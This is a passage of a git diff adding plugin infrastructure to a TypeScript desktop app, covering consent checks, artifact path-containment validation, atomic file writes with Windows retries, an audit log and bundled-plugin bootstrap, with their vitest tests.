+    expect(normalizeRightSidebarTab('plugin:orca-samples.my-plugin/dashboard')).toBe(
+      'plugin:orca-samples.my-plugin/dashboard'
+    )
+  })
+
+  it('normalizes malformed plugin tabs to the default tab', () => {
+    expect(normalizeRightSidebarTab('plugin:orca-samples.my-plugin')).toBe('explorer')
+    expect(normalizeRightSidebarTab('plugin:orca-samples.my-plugin/panel/extra')).toBe('explorer')
+    expect(normalizeRightSidebarTab('plugin:My_Plugin/Panel!')).toBe('explorer')
+  })
+
+  it('normalizes unknown values to the default tab', () => {
+    expect(normalizeRightSidebarTab('bogus')).toBe('explorer')
+    expect(normalizeRightSidebarTab(undefined)).toBe('explorer')
+    expect(normalizeRightSidebarTab(42)).toBe('explorer')
+  })
+})
diff --git a/src/main/persistence.ts b/src/main/persistence.ts
index 48495b7a1..593ba050b 100644
--- a/src/main/persistence.ts
+++ b/src/main/persistence.ts
@@ -72,6 +72,7 @@ import {
   normalizeProjectRuntimePreference
 } from '../shared/project-execution-runtime'
 import { projectHostSetupProjectionFromRepos } from '../shared/project-host-setup-projection'
+import { isPluginPanelTabKey } from '../shared/plugins/plugin-manifest'
 import type { GitRemoteIdentity } from '../shared/git-remote-identity'
 import {
   buildTaskSourceContextFromRepo,
@@ -781,18 +782,24 @@ function normalizeProjectOrderBy(projectOrderBy: unknown): PersistedState['ui'][
   return getDefaultUIState().projectOrderBy
 }
 
-function normalizeRightSidebarTab(tab: unknown): PersistedState['ui']['rightSidebarTab'] {
+export function normalizeRightSidebarTab(tab: unknown): PersistedState['ui']['rightSidebarTab'] {
   if (
     tab === 'explorer' ||
     tab === 'search' ||
     tab === 'vault' ||
     tab === 'workspaces' ||
+    tab === 'pr-checks' ||
     tab === 'source-control' ||
     tab === 'checks' ||
     tab === 'ports'
   ) {
     return tab
   }
+  // Why: plugin tabs are open-ended `plugin:<publisher>.<id>/<panel>` keys; validate the
+  // shape so a persisted plugin tab doesn't reset to Explorer on restart.
+  if (typeof tab === 'string' && isPluginPanelTabKey(tab)) {
+    return tab
+  }
   return getDefaultUIState().rightSidebarTab
 }
 
diff --git a/src/main/plugins/plugin-activation-policy.ts b/src/main/plugins/plugin-activation-policy.ts
new file mode 100644
index 000000000..9ef9bd59b
--- /dev/null
+++ b/src/main/plugins/plugin-activation-policy.ts
@@ -0,0 +1,26 @@
+import {
+  getPluginActivationState,
+  type PluginConsentLists
+} from '../../shared/plugins/plugin-consent-state'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+
+export function snapshotPluginConsentLists(source: {
+  getPluginConsents: () => Record<string, string>
+  getDisabledPlugins: () => string[]
+}): PluginConsentLists {
+  return {
+    pluginConsents: source.getPluginConsents(),
+    disabledPlugins: source.getDisabledPlugins()
+  }
+}
+
+export function isPluginApproved(
+  enabled: boolean,
+  plugin: ValidDiscoveredPlugin,
+  lists: PluginConsentLists
+): boolean {
+  return (
+    enabled &&
+    getPluginActivationState(plugin.pluginKey, plugin.consentFingerprint, lists) === 'approved'
+  )
+}
diff --git a/src/main/plugins/plugin-approved-vm-recipes.ts b/src/main/plugins/plugin-approved-vm-recipes.ts
new file mode 100644
index 000000000..ab193a528
--- /dev/null
+++ b/src/main/plugins/plugin-approved-vm-recipes.ts
@@ -0,0 +1,12 @@
+import type { OrcaVmRecipe } from '../../shared/types'
+import type { PluginService } from './plugin-service'
+
+export async function getApprovedPluginVmRecipes(
+  pluginService?: PluginService
+): Promise<OrcaVmRecipe[]> {
+  if (!pluginService) {
+    return []
+  }
+  await pluginService.whenReady()
+  return pluginService.contentPacks.vmRecipes.list().map(({ recipe }) => recipe)
+}
diff --git a/src/main/plugins/plugin-artifact-validation.ts b/src/main/plugins/plugin-artifact-validation.ts
new file mode 100644
index 000000000..00e508b35
--- /dev/null
+++ b/src/main/plugins/plugin-artifact-validation.ts
@@ -0,0 +1,193 @@
+import { createReadStream } from 'node:fs'
+import { realpath, stat } from 'node:fs/promises'
+import { isAbsolute, relative, resolve, sep } from 'node:path'
+import type { PluginManifest } from '../../shared/plugins/plugin-manifest'
+import { parsePluginVmRecipeArtifact } from '../../shared/plugins/plugin-vm-recipe-artifact'
+
+export type PluginArtifactValidationResult = { ok: true } | { ok: false; error: string }
+
+export const PLUGIN_PANEL_ENTRY_MAX_BYTES = 10 * 1024 * 1024
+export const PLUGIN_WORKER_ENTRY_MAX_BYTES = 50 * 1024 * 1024
+const PLUGIN_ICON_MAX_BYTES = 2 * 1024 * 1024
+export const PLUGIN_LANGUAGE_PACK_MAX_BYTES = 5 * 1024 * 1024
+export const PLUGIN_VM_RECIPE_MAX_BYTES = 256 * 1024
+const PLUGIN_AGENT_PROFILE_MAX_BYTES = 1024 * 1024
+
+type DeclaredArtifact =
+  | { label: string; path: string; kind: 'file'; maxBytes: number }
+  | { label: string; path: string; kind: 'directory' }
+
+function declaredArtifactPaths(manifest: PluginManifest): DeclaredArtifact[] {
+  return [
+    ...(manifest.icon
+      ? [
+          {
+            label: 'icon',
+            path: manifest.icon,
+            kind: 'file' as const,
+            maxBytes: PLUGIN_ICON_MAX_BYTES
+          }
+        ]
+      : []),
+    ...(manifest.main
+      ? [
+          {
+            label: 'worker entry',
+            path: manifest.main,
+            kind: 'file' as const,
+            maxBytes: PLUGIN_WORKER_ENTRY_MAX_BYTES
+          }
+        ]
+      : []),
+    ...manifest.contributes.panels.map((panel) => ({
+      label: `panel "${panel.id}" entry`,
+      path: panel.entry,
+      kind: 'file' as const,
+      maxBytes: PLUGIN_PANEL_ENTRY_MAX_BYTES
+    })),
+    ...manifest.contributes.languagePacks.map((languagePack) => ({
+      label: `language pack "${languagePack.locale}"`,
+      path: languagePack.path,
+      kind: 'file' as const,
+      maxBytes: PLUGIN_LANGUAGE_PACK_MAX_BYTES
+    })),
+    ...manifest.contributes.vmRecipes.map((recipe) => ({
+      label: 'VM recipe',
+      path: recipe.path,
+      kind: 'file' as const,
+      maxBytes: PLUGIN_VM_RECIPE_MAX_BYTES
+    })),
+    ...manifest.contributes.agents.map((agent) => ({
+      label: 'agent profile',
+      path: agent.path,
+      kind: 'file' as const,
+      maxBytes: PLUGIN_AGENT_PROFILE_MAX_BYTES
+    }))
+  ]
+}
+
+export async function resolveContainedPluginArtifact(
+  rootDir: string,
+  relativePath: string,
+  maxBytes = PLUGIN_WORKER_ENTRY_MAX_BYTES
+): Promise<string> {
+  const rootReal = await realpath(resolve(rootDir))
+  return resolvePathFromRealRoot(rootDir, rootReal, relativePath, 'file', maxBytes)
+}
+
+export async function readContainedPluginArtifactText(
+  rootDir: string,
+  relativePath: string,
+  maxBytes: number
+): Promise<string> {
+  const artifact = await resolveContainedPluginArtifact(rootDir, relativePath, maxBytes)
+  const chunks: Buffer[] = []
+  let totalBytes = 0
+  for await (const chunk of createReadStream(artifact)) {
+    const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
+    totalBytes += bytes.byteLength
+    if (totalBytes > maxBytes) {
+      throw new Error(`exceeds the ${maxBytes}-byte artifact limit`)
+    }
+    chunks.push(bytes)
+  }
+  return Buffer.concat(chunks, totalBytes).toString('utf8')
+}
+
+async function resolvePathFromRealRoot(
+  rootDir: string,
+  rootReal: string,
+  relativePath: string,
+  kind: 'file' | 'directory',
+  maxBytes?: number
+): Promise<string> {
+  const artifactReal = await realpath(resolve(rootDir, ...relativePath.split(/[\\/]/)))
+  const fromRoot = relative(rootReal, artifactReal)
+  if (
+    fromRoot.length === 0 ||
+    isAbsolute(fromRoot) ||
+    fromRoot === '..' ||
+    fromRoot.startsWith(`..${sep}`)
+  ) {
+    throw new Error('resolves outside the plugin directory')
+  }
+  const artifactStat = await stat(artifactReal)
+  if (kind === 'file' && !artifactStat.isFile()) {
+    throw new Error('is not a regular file')
+  }
+  if (kind === 'directory' && !artifactStat.isDirectory()) {
+    throw new Error('is not a directory')
+  }
+  if (kind === 'file' && maxBytes !== undefined && artifactStat.size > maxBytes) {
+    throw new Error(`exceeds the ${maxBytes}-byte artifact limit`)
+  }
+  return artifactReal
+}
+
+/** Presence and containment checks are bounded by the manifest's declared artifacts. */
+export async function validateDeclaredPluginArtifacts(
+  rootDir: string,
+  manifest: PluginManifest
+): Promise<PluginArtifactValidationResult> {
+  const artifacts = declaredArtifactPaths(manifest)
+  if (artifacts.length === 0) {
+    return { ok: true }
+  }
+  const seen = new Set<string>()
+  let rootReal: string
+  try {
+    rootReal = await realpath(resolve(rootDir))
+  } catch (error) {
+    return { ok: false, error: error instanceof Error ? error.message : String(error) }
+  }
+  for (const artifact of artifacts) {
+    if (seen.has(artifact.path)) {
+      continue
+    }
+    seen.add(artifact.path)
+    try {
+      await resolvePathFromRealRoot(
+        rootDir,
+        rootReal,
+        artifact.path,
+        artifact.kind,
+        artifact.kind === 'file' ? artifact.maxBytes : undefined
+      )
+    } catch (error) {
+      return {
+        ok: false,
+        error: `${artifact.label} ${artifact.path}: ${error instanceof Error ? error.message : String(error)}`
+      }
+    }
+  }
+  return { ok: true }
+}
+
+/** Parses declared VM recipe artifacts at the immutable install boundary. */
+export async function validatePluginInstallContent(
+  rootDir: string,
+  manifest: PluginManifest
+): Promise<PluginArtifactValidationResult> {
+  const vmRecipeIds = new Set<string>()
+  for (const contribution of manifest.contributes.vmRecipes) {
+    try {
+      const recipe = parsePluginVmRecipeArtifact(
+        await readContainedPluginArtifactText(
+          rootDir,
+          contribution.path,
+          PLUGIN_VM_RECIPE_MAX_BYTES
+        )
+      )
+      if (vmRecipeIds.has(recipe.id)) {
+        throw new Error(`duplicate VM recipe id "${recipe.id}"`)
+      }
+      vmRecipeIds.add(recipe.id)
+    } catch (error) {
+      return {
+        ok: false,
+        error: `VM recipe ${contribution.path}: ${error instanceof Error ? error.message : String(error)}`
+      }
+    }
+  }
+  return { ok: true }
+}
diff --git a/src/main/plugins/plugin-atomic-file-write.test.ts b/src/main/plugins/plugin-atomic-file-write.test.ts
new file mode 100644
index 000000000..11407f7f7
--- /dev/null
+++ b/src/main/plugins/plugin-atomic-file-write.test.ts
@@ -0,0 +1,187 @@
+import { mkdtemp, readFile, readdir, rm, stat } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type * as FsPromises from 'node:fs/promises'
+import {
+  renamePluginFileWithWindowsRetry,
+  writePluginFileAtomically
+} from './plugin-atomic-file-write'
+
+// Windows AV/indexer locks cannot be provoked on CI, so queue the errno codes instead.
+const locks = vi.hoisted(() => ({ codes: [] as string[] }))
+
+vi.mock('node:fs/promises', async (importOriginal) => {
+  const actual = await importOriginal<typeof FsPromises>()
+  return {
+    ...actual,
+    rename: async (source: string, target: string) => {
+      const code = locks.codes.shift()
+      if (!code) {
+        return actual.rename(source, target)
+      }
+      throw Object.assign(new Error(`simulated ${code}`), { code })
+    }
+  }
+})
+
+function withPlatform(platform: string): () => void {
+  const original = Object.getOwnPropertyDescriptor(process, 'platform')
+  Object.defineProperty(process, 'platform', { value: platform, configurable: true })
+  return () => {
+    if (original) {
+      Object.defineProperty(process, 'platform', original)
+    }
+  }
+}
+
+describe('writePluginFileAtomically', () => {
+  let dir: string
+
+  beforeEach(async () => {
+    dir = await mkdtemp(join(tmpdir(), 'orca-plugin-atomic-'))
+  })
+
+  afterEach(async () => {
+    await rm(dir, { recursive: true, force: true })
+  })
+
+  it('writes contents and leaves no temp file behind', async () => {
+    const target = join(dir, 'current')
+    await writePluginFileAtomically(target, 'abc123')
+    expect(await readFile(target, 'utf8')).toBe('abc123')
+    expect(await readdir(dir)).toEqual(['current'])
+  })
+
+  it('replaces an existing file', async () => {
+    const target = join(dir, 'plugins.lock.json')
+    await writePluginFileAtomically(target, 'first')
+    await writePluginFileAtomically(target, 'second')
+    expect(await readFile(target, 'utf8')).toBe('second')
+    expect(await readdir(dir)).toEqual(['plugins.lock.json'])
+  })
+
+  it('applies the requested mode', async () => {
+    const target = join(dir, 'provenance.json')
+    await writePluginFileAtomically(target, '{}', { mode: 0o600 })
+    const mode = (await stat(target)).mode & 0o777
+    // Windows does not model POSIX permission bits.
+    if (process.platform !== 'win32') {
+      expect(mode).toBe(0o600)
+    }
+  })
+
+  it('cleans up the temp file when the write fails', async () => {
+    await expect(writePluginFileAtomically(join(dir, 'missing', 'x'), 'v')).rejects.toThrow()
+    expect(await readdir(dir)).toEqual([])
+  })
+
+  it('cleans up the temp file when the rename gives up', async () => {
+    const restorePlatform = withPlatform('win32')
+    locks.codes = Array.from({ length: 6 }, () => 'EPERM')
+    try {
+      await expect(writePluginFileAtomically(join(dir, 'current'), 'v')).rejects.toMatchObject({
+        code: 'EPERM'
+      })
+      expect(await readdir(dir)).toEqual([])
+    } finally {
+      restorePlatform()
+      locks.codes = []
+    }
+  })
+
+  it('runs concurrent writers to one target without leaking temp files', async () => {
+    const target = join(dir, 'sources.json')
+    await Promise.all(
+      Array.from({ length: 8 }, (_unused, index) =>
+        writePluginFileAtomically(target, `value-${index}`)
+      )
+    )
+    expect(await readdir(dir)).toEqual(['sources.json'])
+    expect(await readFile(target, 'utf8')).toMatch(/^value-\d$/)
+  })
+})
+
+describe('renamePluginFileWithWindowsRetry', () => {
+  it('renames when the source exists', async () => {
+    const dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-'))
+    try {
+      await writePluginFileAtomically(join(dir, 'from'), 'payload')
+      await renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
+      expect(await readFile(join(dir, 'to'), 'utf8')).toBe('payload')
+    } finally {
+      await rm(dir, { recursive: true, force: true })
+    }
+  })
+
+  it('rethrows a non-retryable error', async () => {
+    const dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-'))
+    try {
+      await expect(
+        renamePluginFileWithWindowsRetry(join(dir, 'absent'), join(dir, 'to'))
+      ).rejects.toMatchObject({ code: 'ENOENT' })
+    } finally {
+      await rm(dir, { recursive: true, force: true })
+    }
+  })
+
+  describe('on Windows', () => {
+    let dir: string
+    let restorePlatform: () => void
+
+    beforeEach(async () => {
+      dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-win-'))
+      restorePlatform = withPlatform('win32')
+    })
+
+    afterEach(async () => {
+      restorePlatform()
+      locks.codes = []
+      await rm(dir, { recursive: true, force: true })
+    })
+
+    it.each(['EPERM', 'EACCES', 'EBUSY'])('retries past a transient %s lock', async (code) => {
+      await writePluginFileAtomically(join(dir, 'from'), 'payload')
+      locks.codes = [code, code]
+      await renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
+      expect(await readFile(join(dir, 'to'), 'utf8')).toBe('payload')
+      expect(locks.codes).toEqual([])
+    })
+
+    it('gives up after the last delay rather than looping forever', async () => {
+      await writePluginFileAtomically(join(dir, 'from'), 'payload')
+      // One more lock than there are delays, so the loop must exit on the bound.
+      locks.codes = Array.from({ length: 6 }, () => 'EBUSY')
+      await expect(
+        renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
+      ).rejects.toMatchObject({ code: 'EBUSY' })
+      expect(locks.codes).toEqual([])
+    })
+
+    it('rethrows a non-retryable code without retrying', async () => {
+      await writePluginFileAtomically(join(dir, 'from'), 'payload')
+      locks.codes = ['ENOSPC', 'ENOSPC']
+      await expect(
+        renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
+      ).rejects.toMatchObject({ code: 'ENOSPC' })
+      expect(locks.codes).toEqual(['ENOSPC'])
+    })
+  })
+
+  it('does not retry off Windows', async () => {
+    const dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-posix-'))
+    const restorePlatform = withPlatform('linux')
+    try {
+      await writePluginFileAtomically(join(dir, 'from'), 'payload')
+      locks.codes = ['EPERM', 'EPERM']
+      await expect(
+        renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
+      ).rejects.toMatchObject({ code: 'EPERM' })
+      expect(locks.codes).toEqual(['EPERM'])
+    } finally {
+      restorePlatform()
+      locks.codes = []
+      await rm(dir, { recursive: true, force: true })
+    }
+  })
+})
diff --git a/src/main/plugins/plugin-atomic-file-write.ts b/src/main/plugins/plugin-atomic-file-write.ts
new file mode 100644
index 000000000..e87b824f3
--- /dev/null
+++ b/src/main/plugins/plugin-atomic-file-write.ts
@@ -0,0 +1,55 @@
+import { randomUUID } from 'node:crypto'
+import { rename, rm, writeFile } from 'node:fs/promises'
+
+/**
+ * Atomic write for plugin state files (lockfile, provenance, pointers, caches).
+ *
+ * Why the retry: on Windows the rename can fail with EPERM/EACCES/EBUSY while
+ * antivirus or an indexer holds the target open (issue #1507). The repo's
+ * existing `renameFileWithWindowsRetry` covers the same hazard but is sync;
+ * every plugin write path is async, so the backoff parks on a timer instead.
+ */
+
+const WINDOWS_RENAME_RETRY_DELAYS_MS = [50, 100, 150, 200, 250]
+
+export type PluginAtomicWriteOptions = { mode?: number }
+
+export async function writePluginFileAtomically(
+  target: string,
+  contents: string,
+  options?: PluginAtomicWriteOptions
+): Promise<void> {
+  // Unique temp name so concurrent writers in one plugins dir cannot collide.
+  const temporary = `${target}.${process.pid}.${randomUUID()}.tmp`
+  try {
+    await writeFile(temporary, contents, { encoding: 'utf8', mode: options?.mode })
+    await renamePluginFileWithWindowsRetry(temporary, target)
+  } finally {
+    await rm(temporary, { force: true }).catch(() => undefined)
+  }
+}
+
+export async function renamePluginFileWithWindowsRetry(
+  source: string,
+  target: string
+): Promise<void> {
+  for (let attempt = 0; ; attempt += 1) {
+    try {
+      await rename(source, target)
+      return
+    } catch (error) {
+      const code = (error as NodeJS.ErrnoException).code
+      const retryable = code === 'EPERM' || code === 'EACCES' || code === 'EBUSY'
+      if (
+        process.platform !== 'win32' ||
+        !retryable ||
+        attempt >= WINDOWS_RENAME_RETRY_DELAYS_MS.length
+      ) {
+        throw error
+      }
+      await new Promise<void>((resolve) =>
+        setTimeout(resolve, WINDOWS_RENAME_RETRY_DELAYS_MS[attempt])
+      )
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-audit-log.test.ts b/src/main/plugins/plugin-audit-log.test.ts
new file mode 100644
index 000000000..ab70de89d
--- /dev/null
+++ b/src/main/plugins/plugin-audit-log.test.ts
@@ -0,0 +1,38 @@
+import { mkdtemp, rm, stat } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { PluginAuditLog } from './plugin-audit-log'
+
+const roots: string[] = []
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginAuditLog retention', () => {
+  it('rotates bounded segments while preserving recent entries across the boundary', async () => {
+    const root = await mkdtemp(join(tmpdir(), 'orca-plugin-audit-'))
+    roots.push(root)
+    const audit = new PluginAuditLog(root, { maxBytes: 240 })
+
+    for (let index = 0; index < 8; index += 1) {
+      await audit.record({
+        ts: index,
+        actor: 'plugin:orca-samples.demo',
+        method: 'storage.set',
+        summary: `key=${index}`,
+        outcome: 'ok'
+      })
+    }
+
+    await expect(stat(join(root, 'audit.log'))).resolves.toMatchObject({
+      isFile: expect.any(Function)
+    })
+    await expect(stat(join(root, 'audit.log.1'))).resolves.toMatchObject({
+      isFile: expect.any(Function)
+    })
+    const recent = await audit.readRecent(3)
+    expect(recent.map((entry) => entry.ts)).toEqual([5, 6, 7])
+  })
+})
diff --git a/src/main/plugins/plugin-audit-log.ts b/src/main/plugins/plugin-audit-log.ts
new file mode 100644
index 000000000..0b5f4cd30
--- /dev/null
+++ b/src/main/plugins/plugin-audit-log.ts
@@ -0,0 +1,86 @@
+import { appendFile, mkdir, readFile, rename, rm, stat } from 'node:fs/promises'
+import { dirname, join } from 'node:path'
+
+/**
+ * Append-only audit trail for host-API mutations performed on a plugin's
+ * behalf, with actor `plugin:<qualifiedKey>`. One JSONL file so support and
+ * enterprise policy tooling can replay exactly what plugins did through the
+ * gated API. (Honest scope: worker code acting through its own Node access
+ * bypasses this — stated in the consent UI.) Mutation intents are awaited
+ * before their handler runs so an API-mediated write cannot outrun the log.
+ */
+
+export type PluginAuditEntry = {
+  ts: number
+  actor: `plugin:${string}`
+  method: string
+  /** Bounded summary — never full params (they may contain user content). */
+  summary: string
+  outcome: 'attempt' | 'ok' | 'error'
+}
+
+export class PluginAuditLog {
+  private readonly filePath: string
+  private readonly rotatedFilePath: string
+  private readonly maxBytes: number
+  private writeChain: Promise<void> = Promise.resolve()
+  private fileBytes: number | null = null
+
+  constructor(pluginsDataDir: string, options: { maxBytes?: number } = {}) {
+    this.filePath = join(pluginsDataDir, 'audit.log')
+    this.rotatedFilePath = join(pluginsDataDir, 'audit.log.1')
+    this.maxBytes = options.maxBytes ?? 10 * 1024 * 1024
+  }
+
+  record(entry: PluginAuditEntry): Promise<void> {
+    const write = this.writeChain.then(async () => {
+      await mkdir(dirname(this.filePath), { recursive: true })
+      const line = `${JSON.stringify(entry)}\n`
+      if (this.fileBytes === null) {
+        this.fileBytes = await stat(this.filePath).then(
+          (file) => file.size,
+          () => 0
+        )
+      }
+      const lineBytes = Buffer.byteLength(line, 'utf8')
+      if (this.fileBytes > 0 && this.fileBytes + lineBytes > this.maxBytes) {
+        await rm(this.rotatedFilePath, { force: true })
+        await rename(this.filePath, this.rotatedFilePath).catch((error) => {
+          if ((error as NodeJS.ErrnoException).code !== 'ENOENT') {
+            throw error
+          }
+        })
+        this.fileBytes = 0
+      }
+      await appendFile(this.filePath, line, 'utf8')
+      this.fileBytes += lineBytes
+    })
+    // Keep the serialization chain usable after a failed append while still
+    // exposing this write's failure to the mutation chokepoint.
+    this.writeChain = write.catch(() => undefined)
+    return write
+  }
+
+  async flush(): Promise<void> {
+    await this.writeChain
+  }
+
+  async readRecent(limit = 200): Promise<PluginAuditEntry[]> {
+    try {
+      const [rotated, current] = await Promise.all(
+        [this.rotatedFilePath, this.filePath].map((path) => readFile(path, 'utf8').catch(() => ''))
+      )
+      const text = rotated + current
+      const lines = text.split('\n').filter((line) => line.length > 0)
+      return lines.slice(-limit).flatMap((line) => {
+        try {
+          return [JSON.parse(line) as PluginAuditEntry]
+        } catch {
+          return []
+        }
+      })
+    } catch {
+      return []
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-bundled-bootstrap-coordinator.test.ts b/src/main/plugins/plugin-bundled-bootstrap-coordinator.test.ts
new file mode 100644
index 000000000..ab6543bc6
--- /dev/null
+++ b/src/main/plugins/plugin-bundled-bootstrap-coordinator.test.ts
@@ -0,0 +1,74 @@
+import { describe, expect, it, vi } from 'vitest'
+import type { PluginBundledBootstrapResult } from './plugin-bundled-bootstrap'
+import { PluginBundledBootstrapCoordinator } from './plugin-bundled-bootstrap-coordinator'
+
+const unchanged: PluginBundledBootstrapResult = {
+  installed: [],
+  unchanged: ['stablyai.orca-theme'],
+  errors: []
+}
+
+describe('PluginBundledBootstrapCoordinator', () => {
+  it('skips disabled requests and refreshes discovery only after publication', async () => {
+    let enabled = false
+    const bootstrap = vi
+      .fn()
+      .mockResolvedValueOnce(unchanged)
+      .mockResolvedValueOnce({
+        installed: ['stablyai.orca-theme'],
+        unchanged: [],
+        errors: []
+      })
+    const refreshPlugins = vi.fn().mockResolvedValue(undefined)
+    const coordinator = new PluginBundledBootstrapCoordinator({
+      root: 'resources',
+      userDataPath: 'user-data',
+      hostVersion: '1.4.0',
+      isEnabled: () => enabled,
+      refreshPlugins,
+      bootstrap
+    })
+
+    await expect(coordinator.request()).resolves.toBeNull()
+    enabled = true
+    await expect(coordinator.request()).resolves.toEqual(unchanged)
+    expect(refreshPlugins).not.toHaveBeenCalled()
+    await coordinator.request()
+    expect(refreshPlugins).toHaveBeenCalledOnce()
+  })
+
+  it('serializes overlapping startup and feature-toggle requests', async () => {
+    let active = 0
+    let maximumActive = 0
+    let releaseFirst: (() => void) | undefined
+    const firstGate = new Promise<void>((resolve) => {
+      releaseFirst = resolve
+    })
+    const bootstrap = vi.fn(async (): Promise<PluginBundledBootstrapResult> => {
+      active += 1
+      maximumActive = Math.max(maximumActive, active)
+      if (bootstrap.mock.calls.length === 1) {
+        await firstGate
+      }
+      active -= 1
+      return unchanged
+    })
+    const coordinator = new PluginBundledBootstrapCoordinator({
+      root: 'resources',
+      userDataPath: 'user-data',
+      hostVersion: '1.4.0',
+      isEnabled: () => true,
+      refreshPlugins: vi.fn().mockResolvedValue(undefined),
+      bootstrap
+    })
+
+    const first = coordinator.request()
+    const second = coordinator.request()
+    await vi.waitFor(() => expect(bootstrap).toHaveBeenCalledTimes(1))
+    releaseFirst?.()
+    await Promise.all([first, second])
+
+    expect(bootstrap).toHaveBeenCalledTimes(2)
+    expect(maximumActive).toBe(1)
+  })
+})
diff --git a/src/main/plugins/plugin-bundled-bootstrap-coordinator.ts b/src/main/plugins/plugin-bundled-bootstrap-coordinator.ts
new file mode 100644
index 000000000..74fae9b63
--- /dev/null
+++ b/src/main/plugins/plugin-bundled-bootstrap-coordinator.ts
@@ -0,0 +1,48 @@
+import {
+  bootstrapBundledPlugins,
+  type PluginBundledBootstrapResult
+} from './plugin-bundled-bootstrap'
+
+type PluginBundledBootstrapRequest = Parameters<typeof bootstrapBundledPlugins>[0]
+
+export class PluginBundledBootstrapCoordinator {
+  private readonly options: PluginBundledBootstrapRequest & {
+    isEnabled: () => boolean
+    refreshPlugins: () => Promise<void>
+    bootstrap?: typeof bootstrapBundledPlugins
+  }
+  private pending: Promise<void> = Promise.resolve()
+
+  constructor(options: PluginBundledBootstrapCoordinator['options']) {
+    this.options = options
+  }
+
+  request(): Promise<PluginBundledBootstrapResult | null> {
+    const run = this.pending.then(() => this.runOnce())
+    // Why: feature-toggle and startup requests can overlap; preserve their
+    // order even when one resource read fails.
+    this.pending = run.then(
+      () => undefined,
+      () => undefined
+    )
+    return run
+  }
+
+  private async runOnce(): Promise<PluginBundledBootstrapResult | null> {
+    if (!this.options.isEnabled()) {
+      return null
+    }
+    const result = await (this.options.bootstrap ?? bootstrapBundledPlugins)({
+      root: this.options.root,
+      userDataPath: this.options.userDataPath,
+      hostVersion: this.options.hostVersion,
+      ...(this.options.blockedPluginReason
+        ? { blockedPluginReason: this.options.blockedPluginReason }
+        : {})
+    })
+    if (result.installed.length > 0) {
+      await this.options.refreshPlugins()
+    }
+    return result
+  }
+}
diff --git a/src/main/plugins/plugin-bundled-bootstrap.test.ts b/src/main/plugins/plugin-bundled-bootstrap.test.ts
new file mode 100644
index 000000000..d5e2e64bd
--- /dev/null
+++ b/src/main/plugins/plugin-bundled-bootstrap.test.ts
@@ -0,0 +1,134 @@
+import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { hashPluginTree } from './plugin-content-hash'
+import { readPluginLockfile } from './plugin-install'
+import { bootstrapBundledPlugins, resolveBundledPluginRoot } from './plugin-bundled-bootstrap'
+
+const roots: string[] = []
+
+async function tempRoot(prefix: string): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), prefix))
+  roots.push(root)
+  return root
+}
+
+async function writeBundle(root: string, name = 'Skills'): Promise<{ path: string; hash: string }> {
+  const path = 'stablyai.orca-skills'
+  const pluginRoot = join(root, path)
+  await mkdir(pluginRoot, { recursive: true })
+  await writeFile(
+    join(pluginRoot, 'orca-plugin.json'),
+    JSON.stringify({
+      manifestVersion: 1,
+      id: 'orca-skills',
+      publisher: 'stablyai',
+      name,
+      version: '1.0.0',
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      capabilities: []
+    })
+  )
+  const hashed = await hashPluginTree(pluginRoot)
+  if (!hashed.ok) {
+    throw new Error(hashed.error)
+  }
+  return { path, hash: hashed.hash }
+}
+
+async function writeIndex(root: string, path: string, contentHash: string): Promise<void> {
+  await writeFile(
+    join(root, 'bundled-plugins.json'),
+    JSON.stringify({
+      version: 1,
+      plugins: [{ pluginKey: 'stablyai.orca-skills', path, contentHash }]
+    })
+  )
+}
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('bundled plugin bootstrap', () => {
+  it('installs release-indexed content once and keeps unchanged startup work bounded', async () => {
+    const root = await tempRoot('orca-bundled-resources-')
+    const userDataPath = await tempRoot('orca-bundled-user-data-')
+    const bundle = await writeBundle(root)
+    await writeIndex(root, bundle.path, bundle.hash)
+
+    await expect(
+      bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
+    ).resolves.toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
+    await expect(
+      bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
+    ).resolves.toEqual({ installed: [], unchanged: ['stablyai.orca-skills'], errors: [] })
+  })
+
+  it('publishes an updated immutable bundle only when the indexed hash matches', async () => {
+    const root = await tempRoot('orca-bundled-resources-')
+    const userDataPath = await tempRoot('orca-bundled-user-data-')
+    const first = await writeBundle(root)
+    await writeIndex(root, first.path, first.hash)
+    await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
+    const second = await writeBundle(root, 'Updated Skills')
+    await writeIndex(root, second.path, second.hash)
+
+    const updated = await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
+
+    expect(updated).toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
+    const lock = await readPluginLockfile(join(userDataPath, 'plugins'))
+    expect(lock.plugins['stablyai.orca-skills']?.contentHash).toBe(second.hash)
+  })
+
+  it('repairs a missing or modified bundled current version', async () => {
+    const root = await tempRoot('orca-bundled-resources-')
+    const userDataPath = await tempRoot('orca-bundled-user-data-')
+    const bundle = await writeBundle(root)
